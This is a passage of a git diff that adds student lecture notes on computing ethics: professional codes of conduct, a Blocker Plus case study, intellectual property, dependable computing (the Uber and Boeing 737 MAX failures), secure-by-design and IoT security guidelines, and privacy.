+ - Distribution of inaccurate information, disinformation and fake news
+- The Oxford internet institute found 26 countries including China, Turkey and Russia were using computational propaganda to suppress human rights and discredit political opposition
+
+### Risk to critical national infrastructure
+- Cyber attacks on nuclear power stations, electricity grids, banking communications
+- WannaCry targeting the NHS
+
+## Environmental Impact
+- Data centres consume huge amounts of energy
+ - Consumed 416.2 TWH of electricity - more than the total UK’s power consumption
+ - 3% of global electricity supply
+ - 2% of greenhouse gas emissions
+
+## GDPR
+
+- Data protection
+ - Data is the oil of the digital economy
+ - **GDPR** applies to the processing of personal data by automated means, regardless of whether the processing takes place in the EU or not relating to:
+ - The offering of goods or services to EU citizens
+ - The monitoring of their behaviour
+ - There are stiff fines for those who break GDPR
+ - £20,000,000 or 4% of total annual turnover - whichever is greater.
+
+# A world under attack
+It’s not computer scientists who do harm, but the way the technology is designed, who designed it and the outcomes it is trying to achieve influence how it impacts its users and wider society.
\ No newline at end of file
diff --git a/docs/lectures/ethics/02_codes_of_conduct.md b/docs/lectures/ethics/02_codes_of_conduct.md
new file mode 100644
index 0000000..f1dfe46
--- /dev/null
+++ b/docs/lectures/ethics/02_codes_of_conduct.md
@@ -0,0 +1,165 @@
+# Professional Codes of Conduct
+
+**Professional Ethics** - A set of morally permissible standards of a group that each member of the group wants every other member of the group to follow even if their doing so would mean that he/she must do the same `Micheal Davis, Professional Code and Ethics Burlington: Ashgate 2001`
+
+## Morally permissible
+
+- Morality is ubiquitous, as moral standards apply to everyone
+- Professional ethics only apply to the members of particular groups (such as lawyers, doctors etc)
+
+**Ethical does not equal moral**
+
+>For example it is against ethical standards in the USA for doctors to advertise prices for their services, but there is nothing inherently immoral about advertising prices for services.
+- An action may be morally permissible but unethical
+- It is also possible to behave ethically but apparently immorally
+- Professional ethics requires that one behaves consistently with the standards of the group.
+
+**Professional ethics is a subset of moral concerns**
+- Morality encompasses societal reasoning and norms of conduct as to what constitutes right and wrong
+- Professional ethics govern professional practice with respect to particular moral issues or challenges like *algorithmic decisions*
+- As the broader social-moral order evolves so do professional ethics, like ACM Code of Ethics
+
+## Standards
+Govern professional practice
+Standards consist of:
+- Principles
+- Rules of Conduct
+- Embedded in code of conduct or code of ethics
+
+>A professional puts profession first. When a conflict arises between the professional's code and the policy of an employer or the law, the professional's code must take precedence - Brinkman & Sanders, *Ethics in Computing Culture.* Boston: Cengage Learning, 2013.
+
+### Shared by a Group
+Standards are shared by a cohort of people engaged in professional activity
+
+**What constitutes professional activity?**
+
+- Provides an important service to soceity
+- Requires extensive training
+- Involves significant intellectual effort
+- Organisation of members
+- Individual autonomy
+- Certification or Licensing
+
+#### Is computing a profession?
+The problematic static of computing
+- Lack of accreditation, certification or licensing
+ + No single organisation of members for the computing profession
+ Question is immaterial:
+ The harms enabled by computing mean that computing professionals still have important ethical obligations
+
+>Programmers need ethics when designing the technologies that influence people's lives - President of the ACM
+
+We still need professional ethics in computing even if computings professional status is dubitable.
+- We need ethics if we are to be considered professionals
+
+> It is impossible to satisfy the definition of profession without a code of ethics, impossible to teach 'professionalism' without teaching the code, and indeed impossible to understand professions without understanding them as bound by such a code. Without a code of ethics, there are only honest occupations, trade associations, and the like - Micheal Davis
+
+## The Different Codes
+
+#### British Computer Society (BCS)
+
+##### Public Interest
+
+These standards require:
+
+- You have due regard for public health, privacy, security and the wellbeing of others and the environment in your work
+- Your work has due regard for the legitimate rights of third parties
+- You conduct your professional activities without discrimination
+- You promote equal access to the benefits of IT
+
+##### Professional competence and integrity
+
+- Only undertake to do work or provide a service that is within your professional competence
+- Do not claim a level of competence that you do not possess
+- Continue to develop professional knowledge relevant to your field
+- Ensure that you have the knowledge and understanding of relevent legislation
+- Respect and value alternate viewpoints
+- Avoid injuring others
+- Reject and will not make any offer of bribery or unethical inducement
+
+##### Duty to relevant authority
+
+- Carry out your professional responsiblities with due care and diligence
+- Avoid situations that conflict with the interests of relevant authorities
+- Accept professioal responsibilities for your work
+- Do not disclose confidential information
+- Do not misrepresent or withhold information on the performance of products, system or services
+
+##### Duty to Profession
+
+- Accept your personal duty to uphold the reputation of the profession
+- Seek to improve professional standards
+- Uphold the reputation and good standing of BCS
+- Act with integrity and respect in your professional relationships
+- Notify the BCS if convicted of a criminal offence
+- Support fellow members in their professional development
+
+#### Institute of Electrical and Electronics Engineers (IEEE)
+
+
+
+Covers about half of what the BCS covers, little attention to duty to relevant authority which undermines its commitment to the highest ethical and professional conduct.
+
+#### Association of Computing Machinery (ACM)
+
+25 principles governing professional conduct
+
+- 7 general ethical principles
+- 9 principles governing professional responsiblities
+- 7 principles of professional leadership
+- 2 principles of compliance
+
+##### General ethical principles
+
+- Contribute to society and human well-being
+- Avoid harm
+- Be honest and trustworthy
+- Be fair and take action not to discriminate
+- Respect the work of others
+- Respect privacy
+- Honor confidentiality
+ - Unless in cases in which it is evidence of the violation of law or the code itself
+
+This links to the BCS public interest requirement
+
+##### Professional responsibilities
+
+- Strive to achieve high quality work
+- Maintain high standards to professional competence
+- Know and respect rules pertaining to professional work
+- Accept and provide appropriate professional review
+- Evaluate computer systems and possible risks
+ - Providing objective evaluations for employers or clients
+- Perform work only in areas of competence
+- Foster public awareness and understanding of computing
+- Access computing only when authorised or for public good
+ - Basically **do not hack**, unless it is to disrupt or inhibit malicious systems
+- Design and implement robust and secure systems
+ - Does not link to BCS code however important
+
+##### Professional leadership Principles
+
+- Ensure centrality of public good
+- Promote social responsibility
+- Enhance quality of working life
+- Support the principles of the code
+- Create oppotunities for professional development
+- User care when modifying or retiring systems
+- Take special care of systems integrated in societal infrastructure
+
+##### Compliance with the Code
+
+- Uphold, promote and respect the principles of the code
+- Treat violations as inconsistent with ACM membership
+
+## ACM & BCS Code of Ethics
+
+#### Mapping
+
+- More to the ACM code
+- But a strong relationship between the two exists, although it is not always direct
+
+
+
+
+
diff --git a/docs/lectures/ethics/03_coursework_notes.md b/docs/lectures/ethics/03_coursework_notes.md
new file mode 100644
index 0000000..31330a7
--- /dev/null
+++ b/docs/lectures/ethics/03_coursework_notes.md
@@ -0,0 +1,73 @@
+# Coursework Issue
+
+The coursework issue is about a class action lawsuit against Ring.
+
+file: _Surname
+
+## Example of applying Codes
+
+The example is taken from the ACM code of ethics - case study 5
+
+> ###### Malicious Input to Content Filters
+>
+> **The US. Children’s Internet Protection Act (CIPA) mandates that public schools and libraries employ mechanisms to block inappropriate material that is deemed harmful to minors.**
+>
+> Blocker Plus is an automated Internet content filter designed to help these institutions comply with CIPA’s requirements. To accomplish this task, Blocker Plus has a centrally controlled blacklist maintained by the software maker. In addition, Blocker Plus provides a user-friendly interface that makes it a popular product for home use by parents.
+>
+> Due to the challenge of continually updating the blacklist, the makers of Blocker Plus began to explore machine learning techniques to automate the identification of inappropriate content. During the development of these changes, Blocker Plus combined input from both home and library users to aid in the classification of content. Pleased with their initial results, Blocker Plus deployed these techniques in their production system. Furthermore, Blocker Plus continued to collect input from users to refine their learned models.
+>
+> During a recent review session, the development team reviewed several recent complaints about content being blocked inappropriately. An increasing amount of content regarding gay and lesbian marriage, vaccination, climate change, and other topics not covered by CIPA, had been added to the blacklist. Initial investigations into these incidents suggested that some activist groups had exploited Blocker Plus’s feedback mechanism to provide input that corrupted the classification model.
+>
+> **ANALYSIS SUMMARY:**
+>
+> Blocker Plus is a system designed to block content legally designated as harmful to children. While this filtering constitutes a form of censorship, children are considered a protected vulnerable class. To reduce the impact on adults, CIPA also mandates that these filters must be disabled on request. Given that Blocker Plus is complying with US. federal regulations to facilitate socially responsible uses of computers, the system is consistent with Principles 1.1 and 2.3. Given the complexity and risk involved in Blocker Plus’s use of machine learning techniques, Principle 2.5 calls for extraordinary care. Principle 2.9 suggests that Blocker Plus should have included better protections against the intentional misuse by the activist groups. Blocker Plus’s deployment of machine learning causes harm by suppressing information of legitimate public interest and safety, as well as by discriminating based on sexual orientation, raising concerns for both Principles 1.2 and 1.4. In addition, Blocker Plus provides an example of a system becoming integrated into the educational infrastructure of society. Principle 3.7 emphasises that the developers of such systems have an added responsibility to provide good stewardship and Blocker Plus must correct these issues.
+
+#### Which principles apply to Blocker Plus?
+
+- `1.1` Contribute to society and human well-being
+ - Socially responsible uses of computing
+- `2.3` Know and respect rules pertaining to professional work
+ - This is broken as a federal law is being broken
+- `2.5` Evaluate computer systems and their impacts, including risks
+ - Extraordinary care be taken to identify and mitigate potential risks. Blocker Plus violates this principle by allowing its feedback algorithm to be manipulated by activists to corrupt the classification model.
+- `2.9` Design and implement robustly and usably secure systems
+ - 2.9 requires that computing professionals should perform due diligence to ensure systems function as intended, and take appropriate action to secure resources against accidental and intentional misuse, modification or denial of service. That the activists were able to intentionally misuse Blocker Plus means that the system violates this principle
+- `1.2` Avoid harm
+ - Avoid harm applies as the corruption of the machine learning model means that information of legitimate public interest (gay & lesbian marriage) and safety (vaccinations and climate change) is suppressed by the activists' intentional misuse of the system
+- `1.4` Be fair and do not discriminate
+ - This applies in the respect of suppression of information of legitimate public interest enables discrimination of the basis of sex and sexual orientation
+- `3.7` Take special care of systems integrated into societal infrastructure
+ - Applies as Blocker Plus is designed for educational purposes. In failing to prevent intentional misuse of the system, the leadership of Blocker Plus have failed in their responsibility to be good stewards of the system and enabling fair access.
+
+Codes for the coursework only apply in negative reasons, e.g. 1.1 may apply as amazon wished to contribute to society and human well being. However this will not be marked.
+
+There is one code in the amazon ring that there is no evidence of, however it is inferred by a *lack* of action.
+
+## The ACM CARE Framework
+
+For determining whether a case is consistent with the code
+
+##### Consider
+
+What were the observable effects of Amazon's actions or decisions for Ring users
+
+> Who are the relevant actors and stakeholders? What were the anticipated and/or observable effects of the actions or decisions for those stakeholders? What additional details would provide a greater understanding of the situational context?
+
+##### Analyse
+
+What stakeholder rights (legal, natural or social) were impacted and to what extent, and ask what principles of the code are relevent here.
+
+> What stakeholder rights (legal, natural, or social) were impacted and to what extent? What technical facts are most relevant to the actors’ decision? What principles of the Code were most relevant? What personal, institutional, or legal values should be considered?
+
+##### Review
+
+What potential actions could changed the outcomes
+
+> What responsibilities, authority, practices, or policies shaped the actors’ choices? What potential actions could have changed the outcomes?
+
+##### Evaluate
+
+What actions (or lack of actions) supported or violated the Code. Are the actions taken in this case justified, particularly when considering the rights of and impact on all stakeholders.
+
+> How might the decision in this case be used as a foundation for similar future cases? What actions (or lack of action) supported or violated the Code? Are the actions taken in this case justified, particularly when considering the rights of and impact on all stakeholders?
+
diff --git a/docs/lectures/ethics/04_professional_responsibilities.md b/docs/lectures/ethics/04_professional_responsibilities.md
new file mode 100644
index 0000000..f46a3e5
--- /dev/null
+++ b/docs/lectures/ethics/04_professional_responsibilities.md
@@ -0,0 +1,133 @@
+# Professional Responsibilities
+
+You are generally expected to **uphold the profession**
+
+Unethical conduct includes:
+
+- Exaggerating skills and competences
+- Withholding or misrepresenting technical information
+- Conflicts of interest
+- Divulging confidential information
+- Dishonest conduct
+
+### Due Diligence
+
+It is imperative that you **take reasonable care** in conducting your professional work
+
+This means:
+
+- You are competent to do the work required of you and your team
+- Appropriate steps are taken to avoid harm
+- Systems are robust, secure and respect privacy
+- Rules are followed
+- Special care is taken when modifying or retiring systems or systems are integrated in societal infrastructure
+
+### Public Good
+
+> "Computing professionals actions change the world. To act responsibly, they should reflect upon the wider impacts of their work, consistently supporting the public good" - ACM Code of Ethics
+
+### Unconscious Bias
+
+- Subtle and built into all of us
+- Entirely natural
+- Can be mitigated
+- Draws our attention to micro-issues
+ - for example discriminate against people of tattoos, or people with piercings
+- Can have an squally detrimental effect as the big issues
+ - Design to minimise unconscious bias
+
+### Respect the Work of Others
+
+- Do no harm
+- Do not hack
+ - Unless public good requires it or you are authorised to do so
+- Respect intellectual property rights (IPR)
+ - Relevant types of IPR: trade marks, industrial designs, patents, trade secrets, databases & domain names
+
+#### IPR
+
+###### Trademarks
+
+A distinctive sign, symbol or logo
+
+- Owner holds exclusive rights of use
+- Registered nationally, regionally or globally
+- Protection lasts 10 years, with the option to renew indefinitely
+
+###### Industrial Designs
+
+Distinctive elements of a product
+
+Used where products have a short design life e.g. fashion
+
+- Two types of protection
+ - Registered Community designs (RCD)
+ - Protection lasts **5** years, renewed up to **25** years
+ - Unregistered Community designs (UCD)
+ - Protection lasts for **3** years
+
+###### Patent
+
+- An exclusive right granted to protect an invention
+ - Prevents others from making, using, offering for sale, selling or importing invention without owner's permission
+- Lasts for **20** years from date of filed
+- Costs between $3,000 and \$6,000
+- Can't patent a computer program only a "computer-implemented invention"
+
+###### Utility Models
+
+- Prevents others from making, using, offering for sale, selling or importing invention without owner's permission
+- Cheaper than a patent (not available in UK)
+- Lasts 7-10 years
+- Registered nationally
+
+###### Trade Secrets
+
+- Confidential business information that provides a competitive advantage
+- Must put reasonable measures in place to keep it a secret
+ - Store safely, implement NDAs
+- Do not confer proprietary rights
+- Protected by law for an unlimited time period
+
+###### Copyright
+
+- Author's or creator's right to protection over uses of their work
+ - Ideas cannot be copyrighted, only the concrete implementation of the idea
+- Obtained automatically
+- Includes economic rights (renumeration for use by others)]
+- Fair use allowed
+- Covers life-time of owners plus **50-70** years
+
+###### Databases
+
+- A systematic arrangement of data, works or materials
+- Two forms:
+ - Original
+ - Protection lasts lifetime + 50-70 years
+ - Non-original (like a phone directory)
+ - Protected by *sui generis* database right which lasts for **15** years
+
+###### Domain Names
+
+- Registered by ICANN registars
+- Not protected by copyright
+- May be protected by a registered trade mark
+- Last up to **10** years, renewed indefinitely
+
+### Ethical Limits of IPR
+
+Don't go too far in protecting your own works
+
+###### Sony Rookit
+
+They produced CDs that when entered into a computer downloaded a rootkit which gained administrator control on the victims computer.
+
+Rookit modified the victims OS, limiting the users ability to use the CD.
+
+**Profoundly unethical and illegal**
+
+### Whistleblowing
+
+**Negligence by inaction is not ethical**
+
+Whistleblowing is the final recourse, is the last resort.
\ No newline at end of file
diff --git a/docs/lectures/ethics/05_dependable_computing.md b/docs/lectures/ethics/05_dependable_computing.md
new file mode 100644
index 0000000..7d7fd84
--- /dev/null
+++ b/docs/lectures/ethics/05_dependable_computing.md
@@ -0,0 +1,173 @@
+# Dependable Computing
+
+### What is a dependable System
+
+Another way of putting it is that computing systems, especially systems built into societal infrastructure, and which are otherwise safety-critical as London ambulance system was, are **dependable**.
+
+**Dependability** is defined by Brian Randell as the **trustworthiness** of a computer system such that reliance can justifiably be placed on the service it delivers. Dependability thus includes such properties as:
+
+- Reliability
+- Integrity
+- Privacy
+- Safety
+- Security
+- Maintainability
+
+And provides a convenient means of subsuming these various concerns within a single conceptual framework.
+
+**Reliability** means that a system provides continuity of correct service during its useful lifetime, from commisioning, through operation, to decomissioning.
+
+**Safety** means that a system is engineered to avoid catastrophic consequences for user and the environment and that the life-critical system behaves as needed, even if components fail.
+
+**Integrity** means that a system’s source code or state cannot be altered improperly, i.e., it is secure, or its data be corrupted.
+
+**Maintainability** means that a system is engineered to permit adaptive maintenance, ease of modification and repair of defects.
+
+#### Dependability
+
+##### Uber’s self-driving car accident
+
+- Back up drivber charged with negligent homicide
+- However the National Transport Safety Board finds ubers system to be at fault
+- While Uber’s radar and Lidar detected Elaine 6 seconds before the impact, their system did not have the capacity to **classify** the object as a pedestrian unless they were near a crosswalk
+ - It classified Elaine as a vehicle, bicycle and an unknown object
+ - It assumed Elaine would be travelling in the same direction as the car and therefore did not slow down
+- Furthermore, the car had its own in-built automatic braking system which was capable of detecting and stopping for Elaine, but it was disabled by Uber engineers as they thought it would interfere with Uber’s self driving sensors
+- When the car was just a second away from Elaine, Uber’s system finally recognised that the object could not be avoided
+- Now at this point, Uber’s system could have slammed on the brakes to migate the imapact, instead an *action supression* component kicked in.
+ - This was implemented to avoid extreme manoeuvers in response to false alarms.
+- Uber couldn’t supply documents showing checks performed on the backup driver
+
+Computing failures are not restricted to 1 car and 2 plane crashes
+
+The FDA reports, that medical device recalls are at an all time high and that defective software is a major cause. One in every three medical devices that use software for operations have been **recalled** because of **failures in their software**.
+
+As the Uber and Boeing cases clearly demonstrate, dependability is still a critical issue in computing today.
+
+- Apart from the direct human cost, the failure of computing systems costs a great deal of money.
+- The 5th edition of the Software Fail Watch identified 606 recorded software failures, impacting half of the world’s population (3.7 billion people) and 314 companies to the cost of 1.7 trillion dollars, and noted that “this is just scratching the surface – there are far more software defects in the world than we will likely ever know about.”
+
+We have an ethical duty to the public to minimise these harms. I purposefully say minimise and not eradicate, as it is inevitable that things will go wrong some-times due to unforeseen circumstances, but if we exercise due diligence in our work then we should be able to significantly reduce the harms caused through what are euphemistically called “software bugs”.
+
+#### Software Bugs
+
+A software bug is defined as an error, flaw or fault in a computer program or system that causes it to produce an incorrect or unexpected result, or to behave in unintended ways.
+
+##### Debugging and Testing
+
+###### Waterfall Model
+
+The waterfall model places testing after requirements, analysis and specification, software design and implementation.
+
+- Placing testing here is problematic as it means testing only takes place during the later stages of development
+- The waterfall model is inflexible and has been widely blamed for a great many large-scale projects running over budget, over time and failing to deliver on requirements
+
+###### V Model
+
+The V Model adapts the waterfall by placing an emphasis on early testing
+
+- V model is often criticised for squeezing testing into tight windows at the end of development phases when earlier stages have overrun but implementation dates remain fixed.
+
+###### Spiral Model
+
+Spiral model provides a major alternative and places testing, in iterative requirements, design, implement and test sequences that spiral out from one another and are marked by the development of increasingly high fidelity prototypes
+
+##### Testing Methodologies
+
+###### Static Testing
+
+- Static testing takes place early in a software system’s development and examines source code and accompanying documentation but doesn’t execute the program.
+- It may be done manually, though increasingly relies on automated analysis tools.
+
+###### Dynamic Testing
+
+- Dynamic testing checks the behaviour of software code when it is executed.
+
+- Testers compare outputs with expected behaviour to determine whether or not the software works as intended.
+
+###### White Box Testing
+
+White box testing digs into the inner workings of the software.
+
+- It tests each statement, object, and function on an individual basis
+- Identifies broken or poorly structured paths in coding processes
+- Internal security holes
+- It also verifies the flow of specific inputs through the code and expected outputs.
+
+###### Black Box Testing
+
+Black box testing on the other hand examines the outer workings of the software and that the software does what it’s supposed to do.
+
+- Knowledge of coding isn’t necessary, and testers work at the user-interface level checking inputs and outputs.
+
+###### GUI Testing
+
+Graphical user interface or GUI testing
+
+- Checks user interface works as per the GUI specification.
+- It tests the software control dialogues, including:
+ - screen layouts
+ - menus
+ - buttons
+ - icons, pop-up windows, text boxes, text formatting, colours, fonts, font sizes, etc.
+
+##### Testing Levels
+
+###### Unit Testing
+
+###### Component or Module Testing
+
+###### Integration Testing
+
+###### System Testing
+
+###### Alpha, Beta and acceptance Testing
+
+### Testing and Dependability
+
+As Linda Rosenberg and her colleagues told us in their award-winning 1998 IEEE paper on software reliability,
+
+> “Metrics to measure software reliability exist and can be used starting in the requirements phase. At each phase of the development life cycle, metrics can identify potential areas of problems that may lead to problems or errors. Finding these areas in the phase they are developed decreases the cost and prevents potential ripple effects from the changes, later in the development life cycle by at least a factor of 14.”
+
+#### Limits of Testing
+
+Brian Randell tells us that
+
+> “a system **failure** occurs when the delivered service no longer complies with the **specification**, the latter being an agreed description of the system's expected function and/or service.”
+
+Daniel Jackson and colleagues elaborate the point, saying that,
+
+> “Software, according to a popular view, fails because of bugs: errors in the code that cause the software to fail to meet its specification. In fact, only a tiny proportion of failures due to the mistakes of software developers can be attributed to bugs – **3%** in one study that focused on fatal accidents. As is well known to software engineers (but not to the general public), by far the largest class of problems arises from errors made in the eliciting, recording, and analysis of requirements.
+
+### Boeing 737 MAX 8
+
+The bug at work here was a **faulty** angle of attack or AOA **sensor**, which indicated the angle at which the aircraft was positioned in flight.
+
+The Ethiopian accident investigation report says that Boeing’s engineers determined that no piloted simulation, was required for take-off or low speed flight. This meant that specific failures that could lead to MCAS activation, such as false AOA input, were not simulated as part of the aircraft’s functional hazard assessment and validation tests.
+
+Boeing assumed that the worse that could happen would be single fault-driven MCAS activation that flight crew would correct as per “trained memory procedures” acquired during flight training for previous 737 models. As the graph showing the plane going up and down in the Vox video makes painfully visible, the MAX 8 crashes involved multiple MCAS activations, caused by the faulty AOA sensor.
+
+Poor specification requirements: Input was only required from one AOA sensor to activate MCAS, depsite two sensors being fitted.
+
+- This means the faulty sensor constantly triggered MCAS
+- No information about MCAS was given in the flight crew manuals and MCAS was not included in flight crew training.
+- Boeing assumed that pilots certified to fly on earlier versions of the 737 didn’t need any extra training.
+ - The lack of documentation and training meant that flight crews were unaware of MCAS and its effects
+ - The lack of information about MCAS in the flight crew manual meant that there were no procedures for mitigating erroneous input from the AOA sensors
+- An AOA disagree warning light would flash if the two sensors were at odds with each other
+ - These indicators were sold as optional extras
+ - These extras were not found on either aircraft
+ - The Indonesian crash report finds that the flight crew were **not aware** that the AOA DISAGREE warning would not appear if AOA DISAGREE conditions were met, and that in failing to install the warning lights **Boeing denied the flight crew valid information** about the abnormal conditions they faced
+
+It becomes apparent then that the **AOA sensor bug wasn’t really the problem**. It could well have been handled
+
+- Had MCAS not been designed to activate off input from a single sensor
+- If flight crew had been informed about MCAS
+- Its effects built into difference training and the flight crew manual,
+- Had the planes been fitted (like their predecessors) with the AOA warning lights.
+
+The crashes are as much, if not more, a failure of poor requirements, including both poor technical and usability specifications, and inadequate, indeed non-existent, documentation and training, which are also key parts of the user interface to and usability of a system.
+
+There are limits to software testing.
+
+Dependability relies as much on **sound requirements specifications** as it does **good code** and **rigorous testing**.
\ No newline at end of file
diff --git a/docs/lectures/ethics/06_secure_design.md b/docs/lectures/ethics/06_secure_design.md
new file mode 100644
index 0000000..d2a35d6
--- /dev/null
+++ b/docs/lectures/ethics/06_secure_design.md
@@ -0,0 +1,166 @@
+# Secure By Design
+
+> “Security vulnerabilities are to some extent an exception; the overwhelming majority of security vulnerabilities reported in software products – and exploited to attack the users of such products – occur at the implementation level.” - Daniel Jackson
+
+**Integrity**: Ensuring the security of both a system and its data, including unauthorised disclosure of data.
+
+Security is legally required for systems that process personal data.
+
+> GDPR Requires that personal data be secured through the implementation of technical **and** organisational measures. Technical measures include the pseudonymisation and encryption of personal data; the ability to ensure the ongoing confidentiality, integrity, availability and resilience of processing systems and services; and the ability to restore the availability of and access to personal data in a timely manner in the event of a physical or technical incident.
+
+#### Why is Security so Important
+
+In the UK 46% of businesses and 26% of charities have delt with cyber attacks
+
+Ransomware is the fastest growing type of cybercrime and costs are predicted to reach 20 billion dollars by 2021, which is 57 times greater than it was in 2015.
+
+Cyber security breaches have increased globally by 67% since 2014. They essentially operate in 2 ways:
+
+1. Through bad actors, particularly people who try to phish for and otherwise elicit usernames and passwords to access systems
+2. Through bad computing, particularly the use of viruses, malware and denial of service attacks that compromise systems.
+
+It is broadly acknowledged that IoT devices, which typically exploit low cost sensors, suffer from extremely poor and indeed non-existent security.
+
+#### Causes of poor Security
+
+In addition to internal reasons to do with poor coding and testing, and poor specification of technical and usability requirements, poor security has also been attributed to the law and limits of liability.
+
+In the US, for example, the courts have consistently interpreted software licenses in a way that allows vendors to disclaim almost all liability for software defects.
+
+**The economic loss**: rule states that if a product causes no personal injury or property damage, other than to the product itself, then such damages are determined by contract law and limited to a breach of contract claim.
+
+- This prevents customers from suing as most often claims consist of
+ - Loss of sensitive & personal data
+
+Then there is the fact that any data entered into a computer system by the user is **not considered part of the software**, and hence **not part of the product**. The data and the software are separate. The data can be read and manipulated by the software, but it is created by the user or a third party, not the software vendor. Therefore, destruction of data due to insecure software is not deemed damage to or destruction of the software itself.
+
+Now GDPR, the EU’s updated data protection regulation, goes some way towards incentivising secure treatment of personal data with its 20 million euro fines for anyone who **fails to put adequate technical and organisational safeguards in place**, but that of course only **applies to the parties who process such data**, and **not to those who build**, **distribute**, **sell**, or **maintain** the software they use.
+
+#### National Cyber Security Strategy
+
+UK Govement invested £1.9 bn in its National Cyber Security strategy in 2016.
+
+The UK’s National Cyber Security Strategy stands on 3 pillars:
+
+1. **DEFEND**: the country against evolving cyber threats, which involves responding effectively to incidents, ensuring UK networks, systems and data are protected and resilient, and providing UK citizens and businesses with the knowledge needed to defend themselves.
+2. **DETER**, which involves detecting, investigating and disrupting hostile action, and pursuing and prosecuting offenders.
+3. **DEVELOP** a self-sustaining pipeline of talent providing the skills to meet national needs across the public and private sectors.
+
+#### Secure By Design
+
+Cyber-physical systems include software systems that not only compute but also act in the world, e.g., IoT devices such as smart thermostats or smart door locks or autonomous systems such as self-driving cars.
+
+**Secure by design:** software has been designed from its foundations up to be secure.
+
+NCSC articulates **5 core secure by design principles**. These include:
+
+1. Establishing the context before designing a system
+ - Risk analysis is **critical**
+ - Component-driven analysis and system-driven analysis (see below)
+2. Making compromise difficult
+ - External data inputs cannot be trusted
+ - Data inputs must be sanitised, validated
+ - Attack surfaces should be minimised, exposing as few components as possible
+ - Read-only views should be enforced where ever possible
+ - All privileged actions should be accessed through control functions and must be attributed to individuals
+3. Making disruption difficult
+ - Identify system bottlenecks
+ - Test systems with unreasonably high loads and Ddos attacks
+ - Understanding how the system responds to failure
+ - Monkey testing
+4. Making compromise detection easier
+ - Monitoring system behaviour
+ - Logging security events
+ - Like a log of all logins and logouts
+ - Ensuring the monitoring is independent of the software itself
+5. Reducing the impact of compromise.
+ - Removing unnecessary functionality such as debug or test functionality
+ - Segmenting assets on networks to contain breaches to particular segments
+ - Designing systems so that they can be quickly rebuilt to a known clean state
+
+###### Component-driven Analysis
+
+Focuses on the technical components a system is composed of, the threats and vulnerabilities that may effect those components, and the impact caused if any of the components was compromised.
+
+This type of analysis allows the specific risks faced by specific components within a system to be identified and prioritised
+
+1. According to the **ease** with which a vulnerablity could be exploited and a component comprimised.
+2. According to the **severity** of impact.
+
+The purpose of prioritising risks in this way is to mitigate the worst risks first.
+
+###### System-driven Analysis
+
+Focuses on understanding the purposes of the system, i.e., what it is being built to do, its functionality or the services it offers. System-driven analysis should not only identify what a system should do but also what it should not do.
+
+NCSC suggests we rarely consider what a system should not do at the beginning of the project’s lifecycle.
+
+### Securing the IoT
+
+There are more the 10 billion IoT devices as of 2021. This inevitably creates an exponential increase in the attack surface and opens up society to cyber attack on an unprecedented scale, especially as IoT devices are broadly recognised to have very poor cyber security.
+
+#### Guidelines
+
+1. **No longer set default passwords**
+
+ - Many IoT devices are compromised by the Mirai botnet, which exploits default passwords set by manufacturers.
+
+ - All IoT device passwords should be unique and should not reset to a universal factory default.
+
+2. **Vulnerability disclosure policy**
+
+ - Provide a public point of contact to enable security researchers and users to report issues.
+ - This enables the continual monitoring, identification and rectification of security vulnerabilities as part of a device’s security lifecycle.
+
+3. **Keep their software updated**
+
+ - Security patches should be delivered over a secure channel and their provenance be assured.
+
+4. **Secure data storage**
+
+ - Sensitive data, including cryptographic keys, device identifiers and initialisation vectors, should be **stored securely** using mechanisms provided by a Trusted Execution Environment.
+
+5. **Secure Communications**
+
+ - All data should be encrypted in transit to ensure **secure communications**.
+
+6. **Minimise the attack surface of devices**
+
+ - Device manufacturers and service providers should ensure hardware does not unnecessarily expose access points
+ - Unused ports should be closed, services should not be available if they are not used, and code should be minimised to the functionality necessary for the service to operate.
+ - All devices should operate on the principle of least **privilege**
+ - Giving users or processes only those privileges essential to the performance of their intended function.
+
+7. **Ensure software integrity**
+
+ - Using secure boot mechanisms to verify software.
+ - If an unauthorised change is detected, the device should alert the consumer and not connect to wider networks, other than those necessary to perform the alerting function.
+
+8. **Resilient to outages**
+
+ - Whenever possible, IoT systems should remain operating and be **locally functional** in the case of a loss of network connectivity and should recover cleanly in the case of restoration of a loss of power.
+
+9. **Easy to install and maintain**
+
+ - User interfaces should be easy to use and clear guidance should be provided to users to set up devices securely and reduce their exposure to threats.
+
+10. **Monitor telemetry data**
+
+ - Telemetry data (such as usage and measurement data) allows for unusual circumstances to be identified and dealt with, minimising security risks and allowing quick mitigation of problems.
+
+11. **Sanitise Inputs**
+
+ - Manufacturers, service providers and mobile app developers should ensure that **data input** via user interfaces, and any transferred via APIs or between networks, is **validated**.
+
+12. **Protect personal data**
+
+ - Device manufacturers, service providers, mobile app developers and retailers should also ensure that any **personal data** collected by IoT devices is **protected**
+
+ - Users are provided with means to preserve their privacy through configuring device and service functionality.
+
+13. **Delete personal data**
+
+ - Users should be able to **delete personal data** easily if they wish to, when there is a transfer of ownership, or when they dispose of a device.
+
+
+
diff --git a/docs/lectures/ethics/07_data_protection.md b/docs/lectures/ethics/07_data_protection.md
new file mode 100644
index 0000000..de8940c
--- /dev/null
+++ b/docs/lectures/ethics/07_data_protection.md
@@ -0,0 +1,290 @@
+# Data Protection by Design and Default
+
+**DPbDD** - Data Protection by Design and Default
+
+##### What is Privacy
+
+- It is a state in which one is not observed or disturbed by other people
+- Or the state of being free from public attention
+- Or someone’s right to keep their personal matters and relationships secret
+- Or freedom from unauthorised intrusion
+- Or the right to make personal decisions regarding intimate matters
+- Or the right to lead one’s life in a manner that is reasonably secluded from public scrutiny
+
+And so on
+
+> Privacy allows us to negotiate who we are and how we want to interact with the world around us, and is essential to who we are as human beings. It gives us a space to be ourselves without judgement, allows us to think freely without discrimination, and is essential to individual autonomy and the protection of human dignity.
+
+https://privacyinternational.org/explainer/56/what-privacy
+
+> “No one shall be subjected to arbitrary interference with his privacy, family, home or correspondence, nor to attacks upon his honour and reputation. Everyone has the right to the protection of the law against such interference or attacks.” **Article 12 of the UN declaration**
+
+> **Article 8.1 of the EU convention – the right to respect for private and family life**
+>
+> 1. Everyone has the right to respect for his private and family life, his home and his correspondence;
+> 2. There shall be no interference by a public authority with the exercise of this right except such as is in accordance with the law and is necessary in a democratic society in the interests of national security, public safety or the economic well-being of the country, for the prevention of disorder or crime, for the protection of health or morals, or for the protection of the rights and freedoms of others.
+
+Privacy is a fundamental human right and underpins many other human rights including freedom of association and free speech.
+
+It’s politically contentious status makes it an ethical imperative in professional computing and key to ensuring public confidence and trust.
+
